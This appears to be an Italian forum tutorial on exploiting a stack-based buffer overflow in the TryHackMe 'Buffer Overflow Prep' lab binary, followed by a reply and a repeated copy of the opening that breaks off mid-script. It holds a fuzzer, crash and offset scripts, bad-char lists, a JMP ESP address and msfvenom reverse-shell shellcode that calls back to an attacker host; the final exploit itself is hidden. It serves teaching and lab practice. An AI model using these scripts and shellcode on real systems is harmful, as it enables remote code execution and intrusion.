Per "fase di discovery" si intende il lasso temporale in cui il programma viene reversato, analizzato, studiato e testato alla ricerca delle vulnerabilità contenute in esso. Durante la fase di discovery l'obiettivo è cercare di capire la logica del programma, aiutandosi anche con strumenti di reverse engineering in modo da ottenere del codice leggibile, capire come questo si comporti e cercare di farlo crashare, sia tramite attività manuale (avendo studiato come funziona il binario sarà più facile romperlo), sia tramite fuzzing.

Per questo esempio utilizzeremo un approccio completamente blackbox (cioè senza avere informazioni sul binario o sul codice sorgente), fuzzando direttamente il programma senza provare prima a reversarlo. Nei prossimi esempi adotteremo invece un approccio più metodico, cercando di risalire a del codice leggibile.

Per fuzzare il programma dobbiamo prima però capire su quale porta stia ascoltando. Possiamo sia fare una scansione delle porte aperte, sia utilizzare netstat e fare un paragone delle porte aperte prima e dopo l'esecuzione del programma (il "pipe" dell'output del comando a findstr serve per filtrare solo le porte in stato "LISTENING"):​


A quanto pare il server è in ascolto sulla porta 1337, proviamo a collegarci con netcat e verificare cosa succede se proviamo a mandare dei pacchetti:


Ottimo, il server ci risponde! Ora possiamo interagire e cercare di farlo crashare in qualche modo. Visto che abbiamo deciso di approcciarci a questo programma in maniera completamente blackbox, dovremo affidarci a qualche sorta di fuzzer se vogliamo testare tutti i possibili comandi in un tempo ragionevole. Possiamo sia utilizzarne uno "custom" scritto a mano, sia utilizzare uno dei tanti tools esistenti.

NdR: Un fuzzer e tanto più efficace quanto più è variegato l'output che invia al programma da attaccare e quanto più è veloce. Un fuzzer che invia solo caratteri alfanumerici non è in grado di trovare tutte quelle vulnerabilità dovute a caratteri speciali e simboli, perciò cercate sempre di scegliere dei fuzzer il cui output comprenda il maggior numero di casistiche.


In questo caso utilizzeremo uno script in python3 che ci aiuti a fuzzare tutti i campi alla ricerca di un possibile crash. Lo script (molto rudimentale) è il seguente:​
Python:
#!/usr/bin/env python3
import socket, time, sys

if len(sys.argv) < 4:
    print("Usage: fuzz.py <ip> <port> <wordlist>")
    sys.exit(1)

ip      = sys.argv[1]
port    = int(sys.argv[2])
wl      = sys.argv[3]

timeout = 5
cmd_template = "OVERFLOW"

file = open(wl,"r") # w or r for string; wb or rb for bytes

for n in range(1,10):
    cmd = cmd_template + str(n)
    file.seek(0)

    for fuzz in file:
        payload = cmd + ' ' + fuzz
        #print(f"[DEBUG] Payload: {payload}")
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                s.connect((ip, port))
                s.recv(1024)
                print(f"Fuzzing {cmd} with {len(payload) - len(cmd) -1} bytes")
                s.send(bytes(payload, "latin-1"))
                s.recv(1024)
        except:
            print(f"Crashed using {payload} payload")
            sys.exit(0)

Siccome ognuno dei comandi risulta essere vulnerabile a un diverso buffer overflow, nella seguente guida attaccheremo il comando OVERFLOW5.

Perfetto, abbiamo fatto crashare il programma e abbiamo trovato un possibile buffer overflow dovuto ad un input troppo grande (481 bytes). Cerchiamo ora di replicare il crash con un primo scheletro di exploit e verifichiamo di essere in grado di crashare il programma a piacimento.​

2.2    Replicare il crash

Per replicare il crash in maniera costante e nel mentre iniziare a costruire il nostro exploit finale, possiamo creare un secondo script in python3 che ci aiuti nello scopo:
Python:
#!/usr/bin/env python3
import socket, sys

if len(sys.argv) < 3:
    print("Usage: fuzz.py <ip> <port>")
    sys.exit(1)

ip      = sys.argv[1]
port    = int(sys.argv[2])

crash = 481

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * crash

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((ip, port))
        s.recv(1024)
        print(f"Sending payload...")
        s.send(bytes(payload, "latin-1"))
        s.recv(1024)
except:
    print(f"Crashed using {len(payload) - len(cmd) -1} bytes")
    sys.exit(0)

Eseguendo lo script il programma sembra crashare "a comando":

Bene, ora dobbiamo capire se il crash è dovuto alla sovrascrittura dell'Instruction Pointer (il registro della CPU che indica quale istruzione leggere ed eseguire) o se il crash è dovuto ad altro. Per verificarlo dobbiamo utilizzare un apposito programma in grado di collegarsi al processo del software che vogliamo analizzare e che ci permetta di ispezionare la sua memoria e lo stato dei registri della cpu: il debugger.

Esistono moltissimi debugger differenti, sia su Windows che su Linux, ognuno dei quali ha pregi e difetti. Visto che su questa macchina virtuale è presente Immunity Debugger utilizzeremo questo programma, ma sentitevi liberi di esplorare tutti gli altri debugger esistenti, come per esempio il nuovo e potentissimo WinDBG.​


NdR: Visto che i debugger operano con la memoria, la CPU, i registri e quant'altro, hanno sempre bisogno di privilegi elevati per funzionare correttamente. Ricordatevi quindi di eseguire sempre il programma come amministratore!


Per debuggare un programma abbiamo due strade: o lo eseguiamo direttamente tramite il debugger (dal menù File/Open) oppure facciamo l'attach del debugger ad un processo già in esecuzione (dal menù File/Attach).​


A primo impatto Immunity (come qualsiasi altro debugger) è molto scoraggiante. Se vi sentite intimoriti da tutte queste informazioni incomprensibili mostrate dall'interfaccia, sappiate che è normale. Sebbene l'approfondimento dello strumento è al di fuori dello scopo di questa guida, è anche vero che senza conoscere come utilizzare o leggere i dati che ci mostra il debugger, risulta impossibile comprendere e analizzare cosa stia succedendo. Facciamo dunque un rapido excursus sull'interfaccia di Immunity.​

  • Il quadrante superiore sinistro mostra le istruzioni del programma in esecuzione, in linguaggio assembly. Qua è possibile navigare il codice del programma, leggerne le varie istruzioni e abilitare/disabilitare breakpoints agli indirizzi di memoria interessati.
  • Il quadrante superiore destro mostra lo stato dei registri e il loro contenuto. Qua è possibile ispezionare e modificare in ogni momento dell'esecuzione il valore dei vari registri.
  • Il quadrante inferiore destro mostra il contenuto e lo stato dello Stack.
  • Il quadrante inferiore sinistro mostra la parte di memoria subito successiva a quella di codice.
Bene, ora che abbiamo capito un po' meglio cosa rappresentino queste quattro videate non ci resta altro che eseguire il nostro exploit e analizzare lo stato della memoria del programma dopo il crash.


Come possiamo notare dagli elementi evidenziati nell'immagine sopra, abbiamo riempito lo stack con dei dati a nostra scelta (tante "A", 0x41 in esadecimale), andando a sovrascrivere anche il registro EIP e facendo quindi crashare il server. Siccome la CPU utilizza il registro EIP per sapere quali istruzioni eseguire (la CPU esegue le istruzioni contenute all'indirizzo di memoria puntato da EIP), dal momento che EIP punta l'indirizzo di memoria 0x41414141, la CPU non trova istruzioni valide a quell'indirizzo e quindi crasha. Siccome però abbiamo sovrascritto EIP, significa che calcolando il giusto offset possiamo iniettare un indirizzo arbitrario all'interno di EIP e dirottare l'esecuzione del programma verso degli indirizzi di memoria a nostra scelta, facendogli sostanzialmente eseguire qualsiasi istruzione vogliamo!​

2.3    Controllare l'Instruction Pointer

Per controllare in maniera regolare il contenuto di EIP abbiamo bisogno di calcolare quale sia il giusto offset all'interno del buffer per arrivare all'instruction pointer. Per farlo possiamo generare un pattern univoco e controllare quale sia il contenuto di EIP una volta crashato il programma. Calcolando la distanza del contenuto di EIP rispetto all'inizio del pattern, dovremmo essere in grado di identificare il corretto offset per controllare EIP.

Esistono diverse utilities che permettono di generare tali pattern: msf-pattern_create, direttamente dalle utilities di Metasploit, cyclic, un particolare modulo di pwntools, addirittura alcuni siti online come il seguente. Scelto il nostro strumento, generiamo il pattern della lunghezza desiderata, ricordandoci comunque di utilizzare una lunghezza sufficiente per crashare il server.​
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_create -l 481
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A

Aggiorniamo ora il nostro exploit, assicuriamoci di riavviare il programma che abbiamo precedentemente fatto crashate, facciamo l'attach di Immunity al processo ed inviamo nuovamente la richiesta: $ python3 exploit.py 10.10.214.42 1337
Python:
...
cmd = "OVERFLOW5"
#payload = cmd + " " + "A" * crash
payload = cmd + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A"
...


Possiamo vedere come nello Stack sia ora presente il nostro pattern di caratteri e come EIP contenta adesso una sequenza di bytes univoci. Utilizziamo ora un qualsiasi strumento per calcolare la distanza della sequenza univoca (0x356B4134) dall'inizio del nostro pattern. Nell'esempio seguente utilizzeremo la controparte di msf-pattern_create: msf-pattern_offset.​

Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_offset -l 481 -q 356B4134
[*] Exact match at offset 314

Perfetto, sappiamo ora che il pattern contenuto in EIP è distante esattamente 314 caratteri dall'inizio del buffer. Ciò significa che se dopo 314 caratteri inseriamo un indirizzo arbitrario, questo finirà all'interno di EIP, permettendoci di controllare il registro a nostro piacimento e di conseguenza controllare il comportamento dell'intero programma. Verifichiamo subito che l'offset sia giusto modificando nuovamente il nostro exploit (ricordiamoci di riempire sempre il buffer in modo tale che il programma vada in crash!):
Python:
...
crash = 481
offset = 314
EIP = "BBBB"

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + "C" * (crash - offset - 4)
...

Lanciamo ora il nostro exploit e controlliamo se all'intero di EIP è presente "BBBB" (0x42424242).


Ci siamo! EIP contiene il valore arbitrario che abbiamo inserito all'interno dell'exploit! Ciò significa che siamo in pieno controllo di EIP e che possiamo reindirizzare l'esecuzione del programma a nostro piacimento! Non ci resta altro da fare che identificare gli eventuali bad-chars, iniettare il nostro shellcode e costringere il programma ad eseguirlo!​

2.4    Ricerca dei bad-chars

Cosa sono i bad-chars? Sono particolari bytes, diversi in ogni programma, che "rompono" o alterano uno shellcode, rendendolo inutilizzabile. I bad-chars dipendono dalle istruzioni utilizzate dal programma, per cui l'unico modo per identificarli è quello di piazzare tutti i possibili bytes all'interno dello Stack e analizzare quali di essi si comportino diversamente dal resto. Un bad-char molto noto, per esempio, è il terminatore di stringa 0x00 poiché utilizzato da molte istruzioni come carattere per indicare la fine di una stringa. Se tale byte dovesse trovarsi a metà di uno shellcode, molto probabilmente lo "spezzerebbe" in due.

Inseriamo dunque un elenco di bad-chars all'interno del nostro exploit, in modo che vengano poi inseriti nello Stack per ulteriori analisi con Immunity:​
Python:
crash = 481
offset = 314
EIP = "BBBB"

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + badchars + "C" * 100

A questo punto dovremmo avere tutti i possibili bytes all'interno dello stack. Grazie ad un plugin di Immunity già installato in questa VM, chiamano mona, possiamo utilizzare il comando !mona bytearray -b "\x00" per generare nella VM una sequenza di bytes come quella iniettata nello Stack (1) e comparare quindi le due sequenze (2), tramite il comando !mona compare -f bytearray.bin -a <address>, in cerca di un disallineamento. Il primo punto in cui troviamo una differenza tra le due sequenze significa che è presente un bad-char, il quale dovrà quindi venir rimosso dalle due sequenze.

Come mostrato in figura, il primo disallineamento è presente per il bytecode 0x16, che all'interno dello Stack è rimpiazzato con un 0x0a. Ottimo, abbiamo trovato il primo byte-code! Rimuoviamolo sia dalla sequenza di bytes nell'exploit, sia dal bytearray tramite il comando !mona bytearray -b "\x00\x16" e ripetiamo il processo finché le due sequenze non corrispondono.

Arrivati qui, abbiamo l'elenco completo dei bad-chars per questa funzione (\x00\x16\x2f\xf4\xfd), dunque siamo pronti a genere uno shellcode valido. Dobbiamo solo più capire in quale punto dello Stack ci conviene piazzarlo, dopodichè avremo tutto il necessario per scrivere il nostro exploit conclusivo ed ottenere una shell.​

2.5    Ricerca di una zona in cui iniettare lo shellcode

Siamo quasi pronti, dobbiamo solo più trovare dove piazzare il nostro shellcode. Potremmo provare a metterlo "a caso" nello Stack e provare ad indovinare l'indirizzo di memoria corretto, ma ciò non renderebbe il nostro exploit attendibile, garantendo chance di successo troppo basse. Dobbiamo trovare invece un modo consistente che ci permetta di puntare con il 100% di sicurezza il nostro shellcode. Diamo quindi un'ulteriore occhiata allo stato dei registri al momento del crash del programma:

Sia il registro EAX che il registro ESP, al momento del crash, puntano indirizzi di memoria all'interno dello Stack. Il primo punta esattamente all'inizio del nostro buffer, perciò per saltare dentro allo shellcode dovremmo aggiungere almeno 10 bytes all'indirizzo di memoria (in modo da saltare dopo il comando "OVERFLOW5 "). Il secondo invece punta esattamente dentro il nostro buffer di badchars, per cui se rimpiazzassimo quei bytes con il nostro shellcode, potremo usare ESP come "trampolino" (tecnicamente chiamato gadget) in modo da saltare all'indirizzo da lui puntato e atterrare quindi dentro lo shellcode.

Il payload risulterebbe quindi simile al seguente: "OVERFLOW5 " + PADDING + EIP + SHELLCODE + FILLER

Per fare ciò, però, dobbiamo prima trovare un gadget che ci permetta di utilizzare ESP come punto di riferimento. In assmbly esistono diverse istruzioni che permettono di saltare direttamente ad un indirizzo di memoria, come per esempio JMP o CALL. Il nostro obiettivo è trovare un'istruzione all'interno del binario o delle librerie caricate da esso che ci permetta di "saltare dentro ESP" (JMP ESP). Usando msf-nasm_shell o rasm2 possiamo convertire in bytecode l'istruzione che ci interessa, dopodiché possiamo utilizzare nuovamente mona per cercarla all'interno del binario.

Convertiamo in bytecode l'istruzione jmp esp:​
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-nasm_shell
nasm > jmp esp
00000000  FFE4              jmp esp

Analizziamo tutti i moduli importati del programma con il comando !mona modules e cerchiamone una senza protezioni:


Cerchiamo infine con il comando !mona find -s "\xff\xe4" -m <nome_modulo> -cpb '\x00\x16\x2f\xf4\xfd' il bytecode che ci interessa, escludendo con i flag -cpb tutti gli indirizzi contenenti dei bad-chars:​


oscp.exe non contiene l'istruzione che ci interessa, ma essfunc.dll ne contiene ben 9. Siccome la .dll non implementa nessun meccanismo di protezione, gli indirizzi di memoria saranno sempre gli stessi, per cui scelto un indirizzo potremo usare sempre quello senza preoccuparci di ricalcolarlo. Nel mio caso utilizzerò 0x625011AF.

Perfetto, a questo punto abbiamo anche l'indirizzo di JMP ESP, che nel nostro exploit prenderà il posto di EIP (vogliamo che EIP punti all'indirizzo di JMP ESP in modo tale che quando poi lo esegue salti sempre dentro il nostro shellcode, in maniera costante). Manca solo più generare lo shellcode e siamo pronti!​

2.6    Generazione dello shellcode

Arrivati qui possiamo decidere se utilizzare uno shellcode già esistente dai db più famosi, come per esempio shell-storm, o se generarci il nostro shellcode custom. In linea di massima è sempre preferibile generarsi lo shellcode in autonomia, in modo da avere il maggior controllo possibile sul suo contenuto e sui bad-chars da evitare, per cui utilizziamo msfvenom per aiutarci nell'intento. Usiamo come payload una generica reverse shell stageless per windows, il flag -b <bytes> per specificare l'elenco di bad-chars da evitare, -f py per specificare il formato python ed EXITFUNC=thread per cercare di non crashare il programma all'uscita della shell:
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=10099 -f py -b "\x00\x16\x2f\xf4\xfd" EXITFUNC=thread -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
...
Payload size: 353 bytes
Final size of py file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x71\xdf\x87\xbd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x8d\x37\x05\xbd\x6d\xc8\x6a\x37"
shellcode += b"\x88\xf9\xaa\x23\xd9\xaa\x1a\x27\x8f\x46\xd0"
shellcode += b"\x65\x3b\xdc\x94\xa1\x4c\x55\x12\x94\x63\x66"
shellcode += b"\x0f\xe4\xe2\xe4\x52\x39\xc4\xd5\x9c\x4c\x05"
shellcode += b"\x11\xc0\xbd\x57\xca\x8e\x10\x47\x7f\xda\xa8"
shellcode += b"\xec\x33\xca\xa8\x11\x83\xed\x99\x84\x9f\xb7"
shellcode += b"\x39\x27\x73\xcc\x73\x3f\x90\xe9\xca\xb4\x62"
shellcode += b"\x85\xcc\x1c\xbb\x66\x62\x61\x73\x95\x7a\xa6"
shellcode += b"\xb4\x46\x09\xde\xc6\xfb\x0a\x25\xb4\x27\x9e"
shellcode += b"\xbd\x1e\xa3\x38\x19\x9e\x60\xde\xea\xac\xcd"
shellcode += b"\x94\xb4\xb0\xd0\x79\xcf\xcd\x59\x7c\x1f\x44"
shellcode += b"\x19\x5b\xbb\x0c\xf9\xc2\x9a\xe8\xac\xfb\xfc"
shellcode += b"\x52\x10\x5e\x77\x7e\x45\xd3\xda\x17\xaa\xde"
shellcode += b"\xe4\xe7\xa4\x69\x97\xd5\x6b\xc2\x3f\x56\xe3"
shellcode += b"\xcc\xb8\x99\xde\xa9\x56\x64\xe1\xc9\x7f\xa3"
shellcode += b"\xb5\x99\x17\x02\xb6\x71\xe7\xab\x63\xd5\xb7"
shellcode += b"\x03\xdc\x96\x67\xe4\x8c\x7e\x6d\xeb\xf3\x9f"
shellcode += b"\x8e\x21\x9c\x0a\x75\xa2\xa9\xc2\xcc\xc3\xc6"
shellcode += b"\xd0\x2e\x03\x64\x5c\xc8\x21\x9a\x08\x43\xde"
shellcode += b"\x03\x11\x1f\x7f\xcb\x8f\x5a\xbf\x47\x3c\x9b"
shellcode += b"\x0e\xa0\x49\x8f\xe7\x40\x04\xed\xae\x5f\xb2"
shellcode += b"\x99\x2d\xcd\x59\x59\x3b\xee\xf5\x0e\x6c\xc0"
shellcode += b"\x0f\xda\x80\x7b\xa6\xf8\x58\x1d\x81\xb8\x86"
shellcode += b"\xde\x0c\x41\x4a\x5a\x2b\x51\x92\x63\x77\x05"
shellcode += b"\x4a\x32\x21\xf3\x2c\xec\x83\xad\xe6\x43\x4a"
shellcode += b"\x39\x7e\xa8\x4d\x3f\x7f\xe5\x3b\xdf\xce\x50"
shellcode += b"\x7a\xe0\xff\x34\x8a\x99\x1d\xa5\x75\x70\xa6"
shellcode += b"\xc5\x97\x50\xd3\x6d\x0e\x31\x5e\xf0\xb1\xec"
shellcode += b"\x9d\x0d\x32\x04\x5e\xea\x2a\x6d\x5b\xb6\xec"
shellcode += b"\x9e\x11\xa7\x98\xa0\x86\xc8\x88\xa0\x28\x37"
shellcode += b"\x33"

Ci siamo, abbiamo il nostro payload già in formato python3 pronto per essere utilizzato! Non ci resta altro da fare che inserirlo nell'exploit e lanciarlo per ottenere una reverse shell!​

2.7    Stesura dell'exploit finale

Perfetto, abbiamo tutto ciò che ci serve e abbiamo anche già una bozza di exploit. Aggiungiamo innanzitutto il nostro shellcode. E' buona norma aggiungere come commento il comando utilizzato per generare la sequenza di bytes, per cui aggiungetelo. Siccome stiamo usando python3, è fondamentale che prima di ogni bytes sia presente la lettera b (b"\xcc\xbb\xaa", per esempio), altrimenti tali caratteri verrebbero interpretati come caratteri ascii anzichè come rispettivi raw-bytes, rompendo lo shellcode. Per essere sicuro di non corrompere lo shellcode ho aggiunto un NOP-sled di 32 bytes prima di esso (\x90), in modo da creare uno scivolo di istruzioni nulle (nop significa proprio no-operation, 0x90 non fa nulla se non far avanzare di un byte l'istruction pointer). In questo modo lo shellcode ha 32 bytes di spazio antecedente a se stesso in caso dovesse eseguire una decodifica dei propri caratteri (capita che i payload encodati si corrompano da soli nel processo di decoding proprio perchè non hanno abbastanza "spazio di manovra" per piazzare la stub di decodifica). Infine ho usato il modulo struct per allineare l'indirizzo EIP secondo il sistema little endian

L'exploit finale risulta essere quindi il seguente:
*** Testo nascosto: non può essere aggiunto alla citazione ***


Non ci resta altro da fare che lanciarlo e catturare la nostra reverse shell!


3    Conclusioni

Questa è la logica di base riguardo i fondamenti dell'exploitation di vulnerabilità Stack-based Buffer Overflow. Ovviamente i programmi moderni non girano più su 32 bit, bensì su 64, e i compilatori implementano, ove possibile, numerose tecniche di mitigazione e protezione (che vedremo prossimamente). Inoltre tenete presente che la binary exploitation in ambiente Linux potrebbe leggermente differire da ciò che abbiamo visto oggi su Windows.​

3.1    Extra-miles: Programmi vulnerabili con cui esercitarsi

Se voleste esercitarvi con altri binari "retrò" vulnerabili a Stack-based Buffer Overflow, date un occhiata ai seguenti programmi:

3.2    Ulteriori risorse e approfondimenti



Made with ❤ for Inforge

Guida stellare @0xbro , tanto di chapeau!
 
  • Love
Reazioni: 0xbro
Visualizza allegato 63040

Exploit Development 101: Stack Based Buffer Overflow (x86-32)​









1    Introduzione

In questa guida affronteremo i concetti e gli step fondamentali per approcciarsi al mondo della binary exploitation e dell'exploit development, prendendo in esempio un caso pratico di Buffer Overflow su un sistema x86 a 32 bit (per semplicità di spiegazione), analizzandone cause e problematiche, dalla fase di discovery fino alla programmazione dell'exploit finale.

Per binary exploitation si intende l'analisi e la ricerca di vulnerabilità all'interno di software compilati (in gergo "binari"), sia in ambiente Windows che in ambiente Linux, con lo scopo di sfruttarle per eseguire codice arbitrario.

La binary exploitation viene anche comunemente chiamata "pwn", soprattutto nell'ambito delle CTF e delle challenge online.

Nell'esempio di oggi utilizzeremo un laboratorio specifico su TryHackMe, chiamato "Buffer Overflow Prep", con cui andremo ad analizzare una classica vulnerabilità Stack-based Buffer Overflow su un sistema Windows 7 a 32-bit. "Perché un sistema così vecchio e obsoleto?" vi starete chiedendo. Perché nel corso del tempo le architetture sono diventate sempre più complesse e hanno implementato meccanismi di protezione sempre più avanzati. Per introdurre la materia a un neofita è fondamentale mantenere i concetti il più chiaro e semplice possibile, per cui utilizzare degli esempi "old school" per confrontarli successivamente con i programmi attuali e le rispettive differenze è la scelta migliore, sia per mantenere gli esempi e i concetti "puliti", sia perché come diceva Tucidide “Bisogna conoscere il passato per capire il presente e orientare il futuro”.​

1.1    Pre-requisiti e riferimenti

Per motivi riguardanti tempistiche e lunghezza dell'articolo, in questa guida verrà data per scontata la conoscenza pregressa relativa a concetti di base sul funzionamento della CPU, della memoria e dei registri, alla sintassi del linguaggio Assembly, ai fondamenti della programmazione in Python e all'utilizzo base dei tools per l'analisi di sicurezza.​

Tali concetti possono essere appresi in autonomia tramite le seguenti risorse interne:

e tramite le seguenti risorse esterne:

Siccome utilizzeremo un laboratorio online su TryHackMe sarà necessario disporre inoltre di un account sulla suddetta piattaforma (è sufficiente il piano gratuito) e un client RDP (eg. xfreerdp o rdesktop) per collegarsi alla macchina remota. Nel mio caso userò xfreerdp e il comando per collegarsi al lab. una volta avviata un'istanza dell'ambiente sarà xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea

2    Processo di Exploitation

Una volta avviata un'istanza del lab e collegatosi in remoto, siamo pronti ad iniziare il processo di exploitaion. Per la durata di questo articolo il nostro target sarà il software OSCP.exe contenuto all'interno della cartella vulnerable-apps/oscp, ma sentitevi liberi di attaccare in autonomia qualsiasi altro binario contenuto all'interno della VM.


2.1    Discovery

Per "fase di discovery" si intende il lasso temporale in cui il programma viene reversato, analizzato, studiato e testato alla ricerca delle vulnerabilità contenute in esso. Durante la fase di discovery l'obiettivo è cercare di capire la logica del programma, aiutandosi anche con strumenti di reverse engineering in modo da ottenere del codice leggibile, capire come questo si comporti e cercare di farlo crashare, sia tramite attività manuale (avendo studiato come funziona il binario sarà più facile romperlo), sia tramite fuzzing.

Per questo esempio utilizzeremo un approccio completamente blackbox (cioè senza avere informazioni sul binario o sul codice sorgente), fuzzando direttamente il programma senza provare prima a reversarlo. Nei prossimi esempi adotteremo invece un approccio più metodico, cercando di risalire a del codice leggibile.

Per fuzzare il programma dobbiamo prima però capire su quale porta stia ascoltando. Possiamo sia fare una scansione delle porte aperte, sia utilizzare netstat e fare un paragone delle porte aperte prima e dopo l'esecuzione del programma (il "pipe" dell'output del comando a findstr serve per filtrare solo le porte in stato "LISTENING"):​


A quanto pare il server è in ascolto sulla porta 1337, proviamo a collegarci con netcat e verificare cosa succede se proviamo a mandare dei pacchetti:


Ottimo, il server ci risponde! Ora possiamo interagire e cercare di farlo crashare in qualche modo. Visto che abbiamo deciso di approcciarci a questo programma in maniera completamente blackbox, dovremo affidarci a qualche sorta di fuzzer se vogliamo testare tutti i possibili comandi in un tempo ragionevole. Possiamo sia utilizzarne uno "custom" scritto a mano, sia utilizzare uno dei tanti tools esistenti.

NdR: Un fuzzer e tanto più efficace quanto più è variegato l'output che invia al programma da attaccare e quanto più è veloce. Un fuzzer che invia solo caratteri alfanumerici non è in grado di trovare tutte quelle vulnerabilità dovute a caratteri speciali e simboli, perciò cercate sempre di scegliere dei fuzzer il cui output comprenda il maggior numero di casistiche.


In questo caso utilizzeremo uno script in python3 che ci aiuti a fuzzare tutti i campi alla ricerca di un possibile crash. Lo script (molto rudimentale) è il seguente:​
Python:
#!/usr/bin/env python3
import socket, time, sys

if len(sys.argv) < 4:
    print("Usage: fuzz.py <ip> <port> <wordlist>")
    sys.exit(1)

ip      = sys.argv[1]
port    = int(sys.argv[2])
wl      = sys.argv[3]

timeout = 5
cmd_template = "OVERFLOW"

file = open(wl,"r") # w or r for string; wb or rb for bytes

for n in range(1,10):
    cmd = cmd_template + str(n)
    file.seek(0)

    for fuzz in file:
        payload = cmd + ' ' + fuzz
        #print(f"[DEBUG] Payload: {payload}")
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                s.connect((ip, port))
                s.recv(1024)
                print(f"Fuzzing {cmd} with {len(payload) - len(cmd) -1} bytes")
                s.send(bytes(payload, "latin-1"))
                s.recv(1024)
        except:
            print(f"Crashed using {payload} payload")
            sys.exit(0)

Siccome ognuno dei comandi risulta essere vulnerabile a un diverso buffer overflow, nella seguente guida attaccheremo il comando OVERFLOW5.

Perfetto, abbiamo fatto crashare il programma e abbiamo trovato un possibile buffer overflow dovuto ad un input troppo grande (481 bytes). Cerchiamo ora di replicare il crash con un primo scheletro di exploit e verifichiamo di essere in grado di crashare il programma a piacimento.​

2.2    Replicare il crash

Per replicare il crash in maniera costante e nel mentre iniziare a costruire il nostro exploit finale, possiamo creare un secondo script in python3 che ci aiuti nello scopo:
Python:
#!/usr/bin/env python3
import socket, sys

if len(sys.argv) < 3:
